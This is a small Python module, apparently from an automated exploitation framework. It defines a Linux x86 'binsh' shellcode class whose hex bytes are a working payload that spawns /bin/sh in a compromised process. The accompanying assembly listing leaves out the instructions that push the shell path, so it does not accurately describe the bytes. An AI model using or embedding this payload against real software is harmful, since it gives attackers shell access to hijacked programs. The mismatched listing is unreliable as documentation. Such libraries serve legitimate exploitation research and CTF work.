
import binascii

from ..shellcode import Shellcode


class LinuxX86Binsh(Shellcode):

    # TODO: should be 'linux' once CLE can identify linux files
    os = ["unix"]
    arches = ["X86"]
    name = "binsh"
    asm = """
mov	    ebx, esp
xor	    ecx, ecx
push    0xb
pop	    eax
cdq	
int	    0x80
"""
    code = binascii.unhexlify("6a68682f2f2f73682f62696e89e331c96a0b5899cd80")
